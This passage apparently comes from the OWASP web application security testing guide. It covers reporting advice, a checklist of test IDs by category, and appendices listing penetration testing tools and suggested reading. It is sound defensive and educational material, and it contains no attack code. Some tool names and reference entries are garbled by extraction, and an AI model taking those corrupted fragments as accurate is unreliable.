language: 1) Whats wrong? 2) How do I fix it? You have one page
to answer these questions.
The executive summary should plainly state that the vulnerabilities and their severity is an input to their organizational risk management process, not an outcome or remediation. It is safest to
explain that tester does not understand the threats faced by the
organization or business consequences if the vulnerabilities are
exploited. This is the job of the risk professional who calculates
risk levels based on this and other information. Risk management
will typically be part of the organizations IT Security Governance,
Risk and Compliance (GRC) regime and this report will simply provide an input to that process.
2. Test Parameters
The Introduction should outline the parameters of the security
testing, the findings and remediation. Some suggested section
headings include:
2.1 Project Objective: This section outlines the project objectives
and the expected outcome of the assessment.
2.2 Project Scope: This section outlines the agreed scope.
2.3 Project Schedule This section outlines when the testing commenced and when it was completed.
2.4 Targets: This section lists the number of applications or targeted systems.
2.5 Limitations: This section outlines every limitation which was

faced throughout the assessment. For example, limitations of


project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across
during the course of assessment, etc.
2.6 Findings Summary This section outlines the vulnerabilities
that were discovered during testing.
2.7 Remediation Summary This section outlines the action plan
for fixing the vulnerabilities that were discovered during testing.
3. Findings
The last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to
resolve them. This section is aimed at a technical level and should
include all the necessary information for the technical teams to
understand the issue and resolve it. Each finding should be clear
and concise and give the reader of the report a full understanding
of the issue at hand.
The findings section should include:
  d        
undertaken during the execution of the test case
j
           
or object

jydd
The following is the list of controls that were tested during the
assessment:

211

Reporting

Test ID

Lowest version

Information Gathering
OTG-INFO-001

Conduct Search Engine Discovery and Reconnaissance for Information Leakage

OTG-INFO-002

Fingerprint Web Server

OTG-INFO-003

Review Webserver Metafiles for Information Leakage

OTG-INFO-004

Enumerate Applications on Webserver

OTG-INFO-005

Review Webpage Comments and Metadata for Information Leakage

OTG-INFO-006

Identify application entry points

OTG-INFO-007

Map execution paths through application

OTG-INFO-008

Fingerprint Web Application Framework

OTG-INFO-009

Fingerprint Web Application

OTG-INFO-010

Map Application Architecture

Configuration and Deploy Management Testing


OTG-CONFIG-001

Test Network/Infrastructure Configuration

OTG-CONFIG-002

Test Application Platform Configuration

OTG-CONFIG-003

Test File Extensions Handling for Sensitive Information

OTG-CONFIG-004

Backup and Unreferenced Files for Sensitive Information

OTG-CONFIG-005

Enumerate Infrastructure and Application Admin Interfaces

OTG-CONFIG-006

Test HTTP Methods

OTG-CONFIG-007

Test HTTP Strict Transport Security

OTG-CONFIG-008

Test RIA cross domain policy

Identity Management Testing


OTG-IDENT-001

Test Role Definitions

OTG-IDENT-002

Test User Registration Process

OTG-IDENT-003

Test Account Provisioning Process

OTG-IDENT-004

Testing for Account Enumeration and Guessable User Account

OTG-IDENT-005

Testing for Weak or unenforced username policy

OTG-IDENT-006

Test Permissions of Guest/Training Accounts

OTG-IDENT-007

Test Account Suspension/Resumption Process

Authentication Testing
OTG-AUTHN-001

Testing for Credentials Transported over an Encrypted Channel

OTG-AUTHN-002

Testing for default credentials

OTG-AUTHN-003

Testing for Weak lock out mechanism

OTG-AUTHN-004

Testing for bypassing authentication schema

OTG-AUTHN-005

Test remember password functionality

OTG-AUTHN-006

Testing for Browser cache weakness

OTG-AUTHN-007

Testing for Weak password policy

OTG-AUTHN-008

Testing for Weak security question/answer

OTG-AUTHN-009

Testing for weak password change or reset functionalities

OTG-AUTHN-010

Testing for Weaker authentication in alternative channel

Authorization Testing
OTG-AUTHZ-001

Testing Directory traversal/file include

OTG-AUTHZ-002

Testing for bypassing authorization schema

OTG-AUTHZ-003

Testing for Privilege Escalation

OTG-AUTHZ-004

Testing for Insecure Direct Object References

212

Reporting

Test ID

Lowest version

Session Management Testing


OTG-SESS-001

Testing for Bypassing Session Management Schema

OTG-SESS-002

Testing for Cookies attributes

OTG-SESS-003

Testing for Session Fixation

OTG-SESS-004

Testing for Exposed Session Variables

OTG-SESS-005

Testing for Cross Site Request Forgery

OTG-SESS-006

Testing for logout functionality

OTG-SESS-007

Test Session Timeout

OTG-SESS-008

Testing for Session puzzling

Input Validation Testing


OTG-INPVAL-001

Testing for Reflected Cross Site Scripting

OTG-INPVAL-002

Testing for Stored Cross Site Scripting

OTG-INPVAL-003

Testing for HTTP Verb Tampering

OTG-INPVAL-004

Testing for HTTP Parameter pollution

OTG-INPVAL-006

Testing for SQL Injection


Oracle Testing
SQL Server Testing
Testing PostgreSQL
MS Access Testing
Testing for NoSQL injection

OTG-INPVAL-007

Testing for LDAP Injection

OTG-INPVAL-008

Testing for ORM Injection

OTG-INPVAL-009

Testing for XML Injection

OTG-INPVAL-010

Testing for SSI Injection

OTG-INPVAL-011

Testing for XPath Injection

OTG-INPVAL-012

IMAP/SMTP Injection

OTG-INPVAL-013

Testing for Code Injection


Testing for Local File Inclusion
Testing for Remote File Inclusion

OTG-INPVAL-014

Testing for Command Injection

OTG-INPVAL-015

Testing for Buffer overflow


Testing for Heap overflow
Testing for Stack overflow
Testing for Format string

OTG-INPVAL-016

Testing for incubated vulnerabilities

OTG-INPVAL-017

Testing for HTTP Splitting/Smuggling

Error Handling
OTG-ERR-001

Analysis of Error Codes

OTG-ERR-002

Analysis of Stack Traces

Cryptography
OTG-CRYPST-001

Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection

OTG-CRYPST-002

Testing for Padding Oracle

OTG-CRYPST-003

Testing for Sensitive information sent via unencrypted channels

213

Reporting

Test ID

Lowest version

Business Logic Testing


OTG-BUSLOGIC-001

Test Business Logic Data Validation

OTG-BUSLOGIC-002

Test Ability to Forge Requests

OTG-BUSLOGIC-003

Test Integrity Checks

OTG-BUSLOGIC-004

Test for Process Timing

OTG-BUSLOGIC-005

Test Number of Times a Function Can be Used Limits

OTG-BUSLOGIC-006

Testing for the Circumvention of Work Flows

OTG-BUSLOGIC-007

Test Defenses Against Application Mis-use

OTG-BUSLOGIC-008

Test Upload of Unexpected File Types

OTG-BUSLOGIC-009

Test Upload of Malicious Files

Client Side Testing


OTG-CLIENT-001

Testing for DOM based Cross Site Scripting

OTG-CLIENT-002

Testing for JavaScript Execution

OTG-CLIENT-003

Testing for HTML Injection

OTG-CLIENT-004

Testing for Client Side URL Redirect

OTG-CLIENT-005

Testing for CSS Injection

OTG-CLIENT-006

Testing for Client Side Resource Manipulation

OTG-CLIENT-007

Test Cross Origin Resource Sharing

OTG-CLIENT-008

Testing for Cross Site Flashing

OTG-CLIENT-009

Testing for Clickjacking

OTG-CLIENT-010

Testing WebSockets

OTG-CLIENT-011

Test Web Messaging

OTG-CLIENT-012

Test Local Storage

214

Appendix

Appendix
This section is often used to describe the commercial and opensource tools that were used in conducting the assessment. When
custom scripts or code are utilized during the assessment, it should
be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It
gives them an idea of the thoroughness of the assessment and what
areas were included.
References Industry standard vulnerability severity and risk rankings
(CVSS) [1] http://www.first.org/cvss

Appendix A: Testing Tools

Open Source Black Box Testing tools


General Testing
OWASP ZAP
The Zed Attack Proxy (ZAP) is an easy to use integrated penetration
testing tool for finding vulnerabilities in web applications. It is designed
to be used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new to
penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
OWASP WebScarab
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is
portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.
OWASP CAL9000
CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.
Includes an XSS Attack Library, Character Encoder/Decoder, HTTP
Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
OWASP Pantera Web Assessment Studio Project
Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to
combine automated capabilities with complete manual testing to get
the best penetration testing results.
OWASP Mantra - Security Framework
Mantra is a web application security testing framework built on top
of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built
in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified,
Chinese - Traditional, English, French, Portuguese, Russian, Spanish
and Turkish.
SPIKE - http://www.immunitysec.com/resources-freesoftware.shtml
SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to
use and only available for the Linux platform.
Burp Proxy - http://www.portswigger.net/Burp/
Burp Proxy is an intercepting proxy server for security testing of web
applications it allows Intercepting and modifying all HTTP(S) traffic

passing in both directions, it can work with custom SSL certificates


and non-proxy-aware clients.
Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/
 Odysseus is a proxy server, which acts as a man-in-the-middle
during an HTTP session. A typical HTTP proxy will relay packets to and
from a client browser and a web server. It will intercept an HTTP sessions data in either direction.
Webstretch Proxy - http://sourceforge.net/projects/webstretch
Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.
WATOBO - http://sourceforge.net/apps/mediawiki/watobo/index.
php?title=Main_Page
 WATOBO works like a local proxy, similar to Webscarab, ZAP or
BurpSuite and it supports passive and active checks.
Firefox LiveHTTPHeaders - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
View HTTP headers of a page and while browsing.
Firefox Tamper Data - https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
Use tamperdata to view and modify HTTP/HTTPS headers and post
parameters
Firefox Web Developer Tools - https://addons.mozilla.org/en-US/
firefox/addon/web-developer/
The Web Developer extension adds various web developer tools to
the browser.
DOM Inspector - https://developer.mozilla.org/en/docs/DOM_Inspector
DOM Inspector is a developer tool used to inspect, browse, and edit
the Document Object Model (DOM)
Firefox Firebug - http://getfirebug.com/
 Firebug integrates with Firefox to edit, debug, and monitor CSS,
HTML, and JavaScript.
Grendel-Scan - http://securitytube-tools.net/index.php?title=Grendel_Scan
Grendel-Scan is an automated security scanning of web applications
and also supports manual penetration testing.
OWASP SWFIntruder - http://www.mindedsecurity.com/swfintruder.
html
SWFIntruder (pronounced Swiff Intruder) is the first tool specifically
developed for analyzing and testing security of Flash applications at
runtime.
SWFScan - http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/bap/5440167
Flash decompiler
Wikto - http://www.sensepost.com/labs/tools/pentest/wikto
Wikto features including fuzzy logic error code checking, a back-end
miner, Google-assisted directory mining and real time HTTP request/
response monitoring.
w3af - http://w3af.org
w3af is a Web Application Attack and Audit Framework. The projects
goal is finding and exploiting web application vulnerabilities.
skipfish - http://code.google.com/p/skipfish/
Skipfish is an active web application security reconnaissance tool.
Web Developer toolbar - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm
The Web Developer extension adds a toolbar button to the browser
with various web developer tools. This is the official port of the Web
Developer extension for Firefox.
HTTP Request Maker - https://chrome.google.com/webstore/detail/

215

Appendix

kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
Request Maker is a tool for penetration testing. With it you can easily
capture requests made by web pages, tamper with the URL, headers
and POST data and, of course, make new requests
Cookie Editor - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
Edit This Cookie is a cookie manager. You can add, delete, edit, search,
protect and block cookies
Cookie swap - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US
Swap My Cookies is a session manager, it manages cookies, letting
you login on any website with several different accounts.
Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
 Firebug Lite is not a substitute for Firebug, or Chrome Developer
Tools. It is a tool to be used in conjunction with these tools. Firebug
Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model
shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
Session Manager - https://chrome.google.com/webstore/detail/
bbcnbpafconjjigibnhbfmmgdbbkcjfi
With Session Manager you can quickly save your current browser
state and reload it whenever necessary. You can manage multiple
sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the
opened tabs and windows.
Subgraph Vega - http://www.subgraph.com/products.html
Vega is a free and open source scanner and testing platform to test
the security of web applications. Vega can help you find and validate
SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI
based, and runs on Linux, OS X, and Windows.
Testing for specific vulnerabilities
Testing for DOM XSS
DOMinator Pro - https://dominator.mindedsecurity.com
Testing AJAX
OWASP Sprajax Project
Testing for SQL Injection
OWASP SQLiX
 d  d_G d 9  j j  http://sqlninja.
sourceforge.net
Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://
sqlmap.org/
Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/
absinthe/
 SQLInjector - Uses inference techniques to extract data and
determine the backend database server. http://www.databasesecurity.
com/sql-injector.htm
 Bsqlbf-v2: A perl script allows extraction of data from Blind SQL
Injections - http://code.google.com/p/bsqlbf-v2/
Pangolin: An automatic SQL injection penetration testing tool - http://
www.darknet.org.uk/2009/05/pangolin-automatic-sql-injectiontool/
Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper http://www.ruizata.com/
Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.
sqlpowerinjector.com/

MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://


packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html
Testing Oracle
TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/
security/tnscmd/tnscmd-doc.html
Toad for Oracle - http://www.quest.com/toad
Testing SSL
 Foundstone SSL Digger - http://www.mcafee.com/us/downloads/
free-tools/ssldigger.aspx
Testing for Brute Force Password
THC Hydra - http://www.thc.org/thc-hydra/
John the Ripper - http://www.openwall.com/john/
Brutus - http://www.hoobie.net/brutus/
Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
Ncat - http://nmap.org/ncat/
Testing Buffer Overflow
OllyDbg - http://www.ollydbg.de
 A windows based debugger used for analyzing buffer overflow
vulnerabilities
Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
A fuzzer framework that can be used to explore vulnerabilities and
perform length testing
Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
A proactive binary checker
Metasploit - http://www.metasploit.com/
A rapid exploit development and Testing frame work
Fuzzer
Rzd^zd0
Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-forbruteforcingfuzzing-web-applications/
Googling
dG16#^ http://www.stachliu.
com/resources/tools/google-hacking-diggity-project/
Foundstone Sitedigger (Google cached fault-finding) - http://www.
mcafee.com/us/downloads/free-tools/sitedigger.aspx
Commercial Black Box Testing tools
NGS Typhon III - http://www.nccgroup.com/en/our-services/
security-testing-audit-compliance/information-security-software/
ngs-typhon-iii/
NGSSQuirreL - http://www.nccgroup.com/en/our-services/securitytesting-audit-compliance/information-security-software/ngssquirrel-vulnerability-scanners/
IBM AppScan - http://www-01.ibm.com/software/awdtools/
appscan/
Cenzic Hailstorm - http://www.cenzic.com/products_services/
cenzic_hailstorm.php
Burp Intruder - http://www.portswigger.net/burp/intruder.html
Acunetix Web Vulnerability Scanner - http://www.acunetix.com
Sleuth - http://www.sandsprite.com
NT Objectives NTOSpider - http://www.ntobjectives.com/products/
ntospider.php
MaxPatrol Security Scanner - http://www.maxpatrol.com
Ecyware GreenBlue Inspector - http://www.ecyware.com
Parasoft SOAtest (more QA-type tool) - http://www.parasoft.com/

216

Appendix

jsp/products/soatest.jsp?itemId=101
MatriXay - http://www.dbappsecurity.com/webscan.html
N-Stalker Web Application Security Scanner - http://www.nstalker.
com
HP WebInspect - http://www.hpenterprisesecurity.com/products/
hp-fortify-software-security-center/hp-webinspect
SoapUI (Web Service security testing) - http://www.soapui.org/
Security/getting-started.html
Netsparker - http://www.mavitunasecurity.com/netsparker/
SAINT - http://www.saintcorporation.com/
QualysGuard WAS - http://www.qualys.com/enterprises/
qualysguard/web-application-scanning/
Retina Web - http://www.eeye.com/Products/Retina/WebSecurity-Scanner.aspx
Cenzic Hailstorm - http://www.cenzic.com/downloads/datasheets/
Cenzic-datasheet-Hailstorm-Technology.pdf
Source Code Analyzers
Open Source / Freeware
Owasp Orizon
OWASP LAPSE
OWASP O2 Platform
Google CodeSearchDiggity - http://www.stachliu.com/resources/
tools/google-hacking-diggity-project/attack-tools/
PMD - http://pmd.sourceforge.net/
FlawFinder - http://www.dwheeler.com/flawfinder
Microsofts FxCop
Splint - http://splint.org
Boon - http://www.cs.berkeley.edu/~daw/boon
FindBugs - http://findbugs.sourceforge.net
Find Security Bugs - http://h3xstream.github.io/find-sec-bugs/
Oedipus - http://www.darknet.org.uk/2006/06/oedipus-opensource-web-application-security-analysis/
W3af - http://w3af.sourceforge.net/
phpcs-security-audit - https://github.com/Pheromone/phpcssecurity-audit
Commercial
Armorize CodeSecure - http://www.armorize.com/index.php?link_
id=codesecure
Parasoft C/C++ test - http://www.parasoft.com/jsp/products/
cpptest.jsp/index.htm
Checkmarx CxSuite - http://www.checkmarx.com
HP Fortify - http://www.hpenterprisesecurity.com/products/hpfortify-software-security-center/hp-fortify-static-code-analyzer
GrammaTech - http://www.grammatech.com
ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
Appscan - http://www-01.ibm.com/software/rational/products/
appscan/source/
ParaSoft - http://www.parasoft.com
Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
Veracode - http://www.veracode.com
Armorize CodeSecure - http://www.armorize.com/codesecure/
Acceptance Testing Tools
Acceptance testing tools are used to validate the functionality of web
applications. Some follow a scripted approach and typically make use
of a Unit Testing framework to construct test suites and test cases.
Most, if not all, can be adapted to perform security specific tests in
addition to functional tests.

Open Source Tools


WATIR - http://wtr.rubyforge.org
A Ruby based web testing framework that provides an interface into
Internet Explorer.
Windows only.
HtmlUnit - http://htmlunit.sourceforge.net
A Java and JUnit based framework that uses the Apache HttpClient
as the transport.
Very robust and configurable and is used as the engine for a number
of other testing tools.
 jWebUnit - http://jwebunit.sourceforge.net
A Java based meta-framework that uses htmlunit or selenium as the
testing engine.
Canoo Webtest - http://webtest.canoo.com
An XML based testing tool that provides a facade on top of htmlunit.
No coding is necessary as the tests are completely specified in XML.
There is the option of scripting some elements in Groovy if XML does
not suffice.
Very actively maintained.
HttpUnit - http://httpunit.sourceforge.net
 One of the first web testing frameworks, suffers from using the
native JDK provided HTTP transport, which can be a bit limiting for
security testing.
Watij - http://watij.com
A Java implementation of WATIR.
Windows only because it uses IE for its tests (Mozilla integration is
in the works).
Solex - http://solex.sourceforge.net
 An Eclipse plugin that provides a graphical tool to record HTTP
sessions and make assertions based on the results.
Selenium - http://seleniumhq.org/
JavaScript based testing framework, cross-platform and provides a
GUI for creating tests.
 Mature and popular tool, but the use of JavaScript could hamper
certain security tests.
Other Tools
Runtime Analysis
Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/
purify/
Seeker by Quotium - http://www.quotium.com/prod/security.php
Binary Analysis
BugScam IDC Package - http://sourceforge.net/projects/bugscam
Veracode - http://www.veracode.com
Requirements Management
 Rational Requisite Pro - http://www-306.ibm.com/software/
awdtools/reqpro
Site Mirroring
wget - http://www.gnu.org/software/wget, http://www.interlog.
com/~tcharron/wgetwin.html
curl - http://curl.haxx.se
Sam Spade - http://www.samspade.org
Xenus Link Sleuth - http://home.snafu.de/tilman/xenulink.html

OWASP Testing Guide Appendix B:


Suggested Reading

Whitepapers
The Economic Impacts of Inadequate Infrastructure for Software

217

Appendix

Testing - http://www.nist.gov/director/planning/upload/report02-3.
pdf
Improving Web Application Security: Threats and Countermeasures- http://msdn.microsoft.com/en-us/library/ff649874.aspx
NIST Publications - http://csrc.nist.gov/publications/PubsSPs.html
The Open Web Application Security Project (OWASP) Guide Project https://www.owasp.org/index.php/Category:OWASP_Guide_Project
Security Considerations in the System Development Life Cycle
(NIST) - http://www.nist.gov/customcf/get_pdf.cfm?pub_id=890097
The Security of Applications: Not All Are Created Equal - http://www.
securitymanagement.com/archive/library/atstake_tech0502.pdf
Software Assurance: An Overview of Current Practices - http://
www.safecode.org/publications/SAFECode_BestPractices0208.pdf
Software Security Testing: Software Assurance Pocket guide
Series: Development, Volume III - https://buildsecurityin.us-cert.
gov/swa/downloads/SoftwareSecurityTesting_PocketGuide_1%20
0_05182012_PostOnline.pdf
Use Cases: Just the FAQs and Answers http://www.ibm.com/
developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf
Books
The Art of Software Security Testing: Identifying Software Security
Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison-Wesley, ISBN 0321304861 (2006)
Building Secure Software: How to Avoid Security Problems the
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com
The Ethical Hack: A Framework for Business Value Penetration
Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X
(2005)
+ Online version available at: http://books.google.com/books?id=fdER&
Exploiting Software: How to Break Code, by Gary McGraw and Greg
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958
(2004) -http://www.exploitingsoftware.com
The Hackers Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
+ Online version available at: http://books.google.com/
R^y

Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent


Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN
007222438X (2010) - http://www.webhackingexposed.com/
The Web Application Hackers Handbook: Finding and Exploiting
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus
Pinto, ISBN 9781118026472 (2011)
How to Break Software Security, by James Whittaker, Herbert H.
Thompson, published by Addison Wesley, ISBN 0321194330 (2003)
 How to Break Software: Functional and Security Testing of Web
Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)
Innocent Code: A Security Wake-Up Call for Web Programd6CzdISBN
0470857447(2004) - http://innocentcode.thathost.com
+ Online version available at: http://books.google.com/books?id=Ry^_E-

Mastering the Requirements Process, by Suzanne Robertson and


James Robertson, published by Addison-Wesley Professional, ISBN
0201360462
+ Online version available at: http://books.google.com/
dMz#6y

Secure Coding: Principles and Practices, by Mark Graff and Kenneth


R. Van Wyk, published by OReilly, ISBN 0596002424 (2003) - http://
www.securecoding.org
Secure Programming for Linux and Unix HOWTO, David Wheeler
(2004) http://www.dwheeler.com/secure-programs
+ Online version: http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html
Securing Java, by Gary McGraw, Edward W. Felten, published by
Wiley, ISBN 047131952X (1999) - http://www.securingjava.com
Software Security: Building Security In, by Gary McGraw, published
by Addison-Wesley Professional, ISBN 0321356705 (2006)
Software Testing In The Real World (Acm Press Books) by Edward
Kit, published by Addison-Wesley Professional, ISBN 0201877562
(1995)
Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)
The Tangled Web: A Guide to Securing Modern Web Applications,
by Michael Zalewski, published by No Starch Press Inc., ISBN
047131952X (2011)
The Unified Modeling Language A User Guide by Grady Booch,
James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)
The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998)
Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by OReilly, ISBN
0596514832 (2008)
Writing Secure Code, by Mike Howard and David LeBlanc, published
by Microsoft Press, ISBN 0735617228 (2004) http://www.microsoft.
9#
Useful Websites
Build Security In - https://buildsecurityin.us-cert.gov/bsi/home.html
Build Security In Security-Specific Bibliography - https://
buildsecurityin.us-cert.gov/bsi/articles/best-practices/measurement/1070-BSI.html
 CERT Secure Coding - http://www.cert.org/secure-coding/
CERT Secure Coding Standards- https://www.securecoding.cert.
org/confluence/display/seccode/CERT+Secure+Coding+Standards
Exploit and Vulnerability Databases - https://buildsecurityin.us-cert.
gov/swa/database.html
Google Code University Web Security - http://code.google.com/
edu/security/index.html
McAfee Foundstone Publications - http://www.mcafee.com/apps/

McAfee Resources Library - http://www.mcafee.com/apps/resource-library-search.aspx?region=us


McAfee Free Tools - http://www.mcafee.com/us/downloads/freetools/index.aspx
OASIS Web Application Security (WAS) TC - http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was
Open Source Software Testing Tools - http://www.opensourcetesting.org/security.php

218

Appendix

OWASP Security Blitz - https://www.owasp.org/index.php/


OWASP_Security_Blitz
OWASP Phoenix/Tool - https://www.owasp.org/index.php/Phoenix/Tools
SANS Internet Storm Center (ISC) - https://www.isc.sans.edu
The Open Web Application Application Security Project (OWASP)
- http://www.owasp.org
Pentestmonkey - Pen Testing Cheat Sheets - http://pentestmonkey.
net/cheat-sheet
Secure Coding Guidelines for the .NET Framework 4.5 - http://msdn.
microsoft.com/en-us/library/8a3x2b7f.aspx
Security in the Java platform - http://docs.oracle.com/javase/6/
docs/technotes/guides/security/overview/jsoverview.html
System Administration, Networking, and Security Institute (SANS) http://www.sans.org
Technical INFO Making Sense of Security - http://www.
technicalinfo.net/index.html
Web Application Security Consortium - http://www.webappsec.org/
projects/
Web Application Security Scanner List - http://projects.webappsec.
org/w/page/13246988/Web%20Application%20Security%20
Scanner%20List
Web Security Articles - http://www.acunetix.com/
websitesecurity/articles/
Videos
OWASP Appsec Tutorial Series - https://www.owasp.org/index.php/
OWASP_Appsec_Tutorial_Series
SecurityTube - http://www.securitytube.net/
Videos by Imperva - http://www.imperva.com/resources/videos.
asp
Deliberately Insecure Web Applications
OWASP Vulnerable Web Applications Directory Project - https://
www.owasp.org/index.php/OWASP_Vulnerable_Web_
Applications_Directory_Project#tab=Main
BadStore - http://www.badstore.net/
Damn Vulnerable Web App - http://www.ethicalhack3r.co.uk/damnvulnerable-web-app/
Hacme Series from McAfee:
+ Hacme Travel - http://www.mcafee.com/us/downloads/freetools/hacmetravel.aspx
+ Hacme Bank - http://www.mcafee.com/us/downloads/freetools/hacme-bank.aspx
